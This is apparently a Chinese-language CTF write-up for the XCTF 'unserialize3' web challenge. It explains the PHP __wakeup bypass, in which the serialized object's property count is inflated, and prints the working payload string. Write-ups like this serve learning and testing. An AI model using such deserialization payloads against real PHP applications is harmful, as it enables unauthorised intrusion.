1. 程式人生 > 其它 >攻防世界-web:unserialize3

攻防世界-web:unserialize3

題目描述

暫無

題目截圖


根據題目名稱,應該就是php反序列化。

解題思路

class xctf
{
	public $flag = '111';
	public function __wakeup()
	{
		exit('bad requests');
	}
}

根據程式碼,猜測code的引數即提交反序列化字串。
我們發現xctf類存在__wakeup函式,而wakeup函式是反序列化後,第一個執行的函式。
我們還發現__wakeup函式中直接die了,後續程式碼就不會繼續執行。
所以猜測此題的思路就是繞過wakeup函式繼續執行,得到flag。
序列化程式碼如下:

<?php
class xctf
{
	public $flag = '111';
}
echo((serialize(new xctf())));

執行輸出結果:

繞過wakeup函式也很簡單,就是在類物件屬性個數超過實際個數時就會繞過wakeup函式。
例如當前xctf類物件只有1個引數屬性$flag,序列化結果為:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
如果將xctf物件個數改成比1大的數,就會繞過wakeup。
修改後的結果:
O:4:"xctf":2:{s:4:"flag";s:3:"111";}

提交得分